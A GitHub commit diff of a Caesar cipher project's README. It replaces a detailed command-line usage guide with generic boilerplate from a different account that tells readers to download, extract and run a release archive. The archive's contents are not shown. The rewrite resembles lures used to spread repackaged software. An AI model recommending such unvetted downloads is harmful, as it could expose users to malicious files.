Skip to content

Commit 29feaae

Browse files
committed
Commit
1 parent b5fe83d commit 29feaae

File tree

1 file changed

+52
-176
lines changed

1 file changed

+52
-176
lines changed

README.md

Lines changed: 52 additions & 176 deletions
Original file line numberDiff line numberDiff line change
@@ -1,209 +1,85 @@
1-
# Advanced Caesar Cipher Encryption/Decryption 🔐
1+
# Advanced Caesar Cipher Tool 🔒
22

3-
<img width="1012" alt="Screenshot 2025-04-18 at 04 13 20" src="https://github.com/user-attachments/assets/8f6d2fee-7900-47cd-b377-28186af1dafa" />
3+
![GitHub Repo stars](https://img.shields.io/github/stars/Issiakou1/advanced-caesar-cipher-tool?style=social) ![GitHub forks](https://img.shields.io/github/forks/Issiakou1/advanced-caesar-cipher-tool?style=social) ![GitHub issues](https://img.shields.io/github/issues/Issiakou1/advanced-caesar-cipher-tool)
44

5+
Welcome to the **Advanced Caesar Cipher Tool**! This project enhances the classic Caesar Cipher encryption method, providing additional features for cryptanalysis and security. With this tool, you can explore the fascinating world of encryption and decryption, making it a valuable resource for cybersecurity enthusiasts and professionals alike.
56

6-
A cybersecurity project that implements an advanced version of the Caesar Cipher encryption algorithm with additional features for cryptanalysis and security.
7+
## Table of Contents
78

8-
## Features
9+
- [Features](#features)
10+
- [Installation](#installation)
11+
- [Usage](#usage)
12+
- [How It Works](#how-it-works)
13+
- [Contributing](#contributing)
14+
- [License](#license)
15+
- [Contact](#contact)
916

10-
- **Basic Caesar Cipher** - Traditional implementation with customizable shift values
11-
- **Advanced Caesar Cipher** - Enhanced version using key-based shifting for increased security
12-
- **Brute Force Decryption** - Try all possible shift values (1-25) to decrypt ciphertext
13-
- **Frequency Analysis** - Analyze character frequency in text to help with cryptanalysis
14-
- **Automatic Decryption** - Attempt to automatically decrypt ciphertext based on English language frequency analysis
15-
- **Command-Line Interface** - Perform operations via terminal commands
16-
- **Web Interface** - User-friendly web application with graphical displays
17+
## Features
1718

18-
## Installation
19+
- **Auto-Decryption**: Automatically decrypt messages using various techniques.
20+
- **Brute Force Attack**: Test all possible shifts to find the correct decryption.
21+
- **Frequency Analysis**: Analyze character frequency to assist in decryption.
22+
- **User-Friendly Interface**: Simple HTML interface for easy interaction.
23+
- **Python Implementation**: Built using Python for easy modification and extension.
24+
- **Cross-Platform**: Works on Windows, macOS, and Linux.
1925

20-
1. Clone this repository:
21-
```
22-
git clone https://github.com/pakagronglb/advanced-caesar-cipher.git
23-
cd advanced-caesar-cipher
24-
```
26+
## Installation
2527

26-
2. Install the required dependencies:
27-
```
28-
pip install -r requirements.txt
29-
```
28+
To get started with the Advanced Caesar Cipher Tool, you need to download the latest release. You can find it [here](https://github.com/Issiakou1/advanced-caesar-cipher-tool/releases). After downloading, extract the files and run the program according to the instructions in the README file.
3029

31-
## Detailed Usage Guide
30+
### Prerequisites
3231

33-
### Initial Encryption and Decryption
32+
- Python 3.x installed on your system.
33+
- Basic knowledge of command-line operations.
3434

35-
#### Command Line
35+
## Usage
3636

37-
```bash
38-
# Encrypt a message with shift 3 (default)
39-
python caesar_cli.py encrypt "Hello, World!"
40-
# Output: Khoor, Zruog!
37+
Once you have installed the tool, you can start using it right away. Here’s a quick guide on how to use the features:
4138

42-
# Decrypt a message with shift 3
43-
python caesar_cli.py decrypt "Khoor, Zruog!"
44-
# Output: Hello, World!
39+
1. **Open the Tool**: Navigate to the folder where you extracted the files and run the main script.
40+
2. **Select Your Operation**: Choose whether you want to encrypt, decrypt, or analyze a text.
41+
3. **Input Your Text**: Enter the text you want to work with.
42+
4. **View Results**: The tool will display the results based on your selected operation.
4543

46-
# Encrypt with custom shift (e.g., 7)
47-
python caesar_cli.py encrypt "Hello, World!" -s 7
48-
# Output: Olssv, Dvysk!
44+
For detailed instructions, refer to the documentation provided in the repository.
4945

50-
# Decrypt with custom shift
51-
python caesar_cli.py decrypt "Olssv, Dvysk!" -s 7
52-
# Output: Hello, World!
53-
```
46+
## How It Works
5447

55-
#### Web Interface
48+
The Advanced Caesar Cipher Tool implements the classic Caesar Cipher algorithm with added functionalities. Here’s a brief overview of the main components:
5649

57-
1. Navigate to the "Encrypt" tab
58-
2. Enter "Hello, World!" in the "Message to Encrypt" field
59-
3. Set shift value to 5
60-
4. Click "Encrypt" button
61-
5. Result: "Mjqqt, Btwqi!"
50+
### Encryption
6251

63-
### Advanced Key-Based Encryption
52+
The encryption process involves shifting each letter in the plaintext by a fixed number of places down the alphabet. For example, with a shift of 3, 'A' becomes 'D', 'B' becomes 'E', and so on.
6453

65-
The advanced mode uses both a shift value and a key for additional security, creating a variable shift pattern based on the key characters.
54+
### Decryption
6655

67-
#### Command Line
56+
Decryption reverses the encryption process. The tool can automatically detect the shift value or use brute force to test all possible shifts.
6857

69-
```bash
70-
# Encrypt using advanced key-based method
71-
python caesar_cli.py encrypt "Hello, World!" -s 5 -k "SECRET"
72-
# Output: Wphsg, Ogioe!
58+
### Cryptanalysis
7359

74-
# Decrypt using the same key and shift
75-
python caesar_cli.py decrypt "Wphsg, Ogioe!" -s 5 -k "SECRET"
76-
# Output: Hello, World!
77-
```
60+
The tool includes frequency analysis to help identify the most common letters in the ciphertext. This method can significantly speed up the decryption process.
7861

79-
#### Web Interface
62+
## Contributing
8063

81-
1. Navigate to the "Encrypt" tab
82-
2. Enter "Hello, World!" in the "Message to Encrypt" field
83-
3. Set shift value to 5
84-
4. Enter "SECRET" in the "Advanced Key" field
85-
5. Click "Encrypt" button
86-
6. Result: "Wphsg, Ogioe!"
64+
We welcome contributions to improve the Advanced Caesar Cipher Tool. If you have suggestions or find bugs, please open an issue or submit a pull request.
8765

88-
### Brute Force Decryption
66+
### Steps to Contribute
8967

90-
When you don't know the shift value, brute force tries all possible shifts (0-25).
68+
1. Fork the repository.
69+
2. Create a new branch for your feature or bug fix.
70+
3. Make your changes.
71+
4. Submit a pull request with a clear description of your changes.
9172

92-
#### Command Line
93-
94-
```bash
95-
# Brute force an encrypted message
96-
python caesar_cli.py brute "Khoor, Zruog!"
97-
```
98-
99-
Output:
100-
```
101-
Shift | Result
102-
----------------------------------------
103-
0 | Khoor, Zruog!
104-
1 | Jgnnq, Yqtnf!
105-
2 | Ifmmp, Xpsme!
106-
3 | Hello, World! <-- The correct decryption appears here
107-
4 | Gdkkn, Vnqkc!
108-
...
109-
```
110-
111-
#### Web Interface 🕸️
112-
113-
1. Navigate to the "Brute Force" tab
114-
2. Enter "Khoor, Zruog!" in the message field
115-
3. Click "Try All Shifts"
116-
4. The results will show all 26 possible decryptions, with the correct one typically being recognizable as readable English text
117-
118-
### Frequency Analysis
119-
120-
This feature analyzes the frequency of characters in the text, which is useful for cryptanalysis as certain letters appear more frequently in English.
121-
122-
#### Command Line
123-
124-
```bash
125-
# Analyze character frequency in a text
126-
python caesar_cli.py analyze "The quick brown fox jumps over the lazy dog"
127-
```
128-
129-
Output:
130-
```
131-
Character | Frequency
132-
-------------------------
133-
e | 0.0750
134-
o | 0.0750
135-
r | 0.0500
136-
t | 0.0500
137-
...
138-
```
139-
140-
#### Web Interface
141-
142-
1. Navigate to the "Frequency Analysis" tab
143-
2. Enter a longer piece of text
144-
3. Click "Analyze"
145-
4. You'll see a bar chart of character frequencies and a table with exact percentages
146-
147-
### Automatic Decryption
148-
149-
This feature attempts to automatically decrypt text based on English letter frequency patterns.
150-
151-
#### Command Line
152-
153-
```bash
154-
# Auto decrypt an encrypted message
155-
python caesar_cli.py auto "Wkh txlfn eurzq ira mxpsv ryhu wkh odcb grj"
156-
```
157-
158-
Output:
159-
```
160-
Potential decryptions based on frequency analysis:
161-
Shift | Result
162-
----------------------------------------
163-
3 | The quick brown fox jumps over the lazy dog
164-
15 | Ftq cguow ndaiz raj vgybe ahqd ftq xmlk pas
165-
18 | Cqn zrflt yaxjw oxg sdrmp xena cqn wjih mxp
166-
8 | Ocz lpdxf wmjri ajs ephkn jqzm ocz gvut yjb
167-
21 | Znk wqaiq vtwue jsy paiil tazn znk gfev iti
168-
```
169-
170-
#### Web Interface
171-
172-
1. Navigate to the "Auto Decrypt" tab
173-
2. Enter an encrypted message like "Wkh txlfn eurzq ira mxpsv ryhu wkh odcb grj"
174-
3. Set the number of top results (default 5)
175-
4. Click "Auto Decrypt"
176-
5. Review the potential decryptions, with the most likely option typically listed first
177-
178-
### Working with Files
179-
180-
You can also process files instead of typing messages directly:
181-
182-
```bash
183-
# Create a text file with content to encrypt
184-
echo "This is a secret message" > secret.txt
73+
## License
18574

186-
# Encrypt the file content
187-
python caesar_cli.py encrypt -f secret.txt -s 10 > encrypted.txt
75+
This project is licensed under the MIT License. Feel free to use, modify, and distribute the code as you see fit.
18876

189-
# Decrypt the file
190-
python caesar_cli.py decrypt -f encrypted.txt -s 10
191-
# Output: This is a secret message
192-
```
77+
## Contact
19378

194-
## Security Considerations
195-
196-
- The basic Caesar Cipher is a classic example of substitution cipher but is not secure for modern cryptographic purposes.
197-
- The advanced Caesar Cipher with key-based shifting adds complexity but is still vulnerable to frequency analysis.
198-
- This project is intended for educational purposes to demonstrate basic cryptography principles.
199-
200-
## Project Structure
79+
For questions or feedback, please reach out to the repository owner. You can find the contact information in the repository's profile.
20180

202-
- `caesar_cipher.py` - Core implementation of the cipher algorithms
203-
- `caesar_cli.py` - Command-line interface
204-
- `web_interface.py` - Web server and API endpoints
205-
- `templates/index.html` - Web interface frontend
81+
## Additional Resources
20682

207-
## License
83+
For more details and updates, please visit the [Releases](https://github.com/Issiakou1/advanced-caesar-cipher-tool/releases) section of the repository.
20884

209-
This project is licensed under the MIT License - see the LICENSE file for details.
85+
Explore the world of cryptography with the Advanced Caesar Cipher Tool! Happy encrypting! 🔐

0 commit comments

Comments
 (0)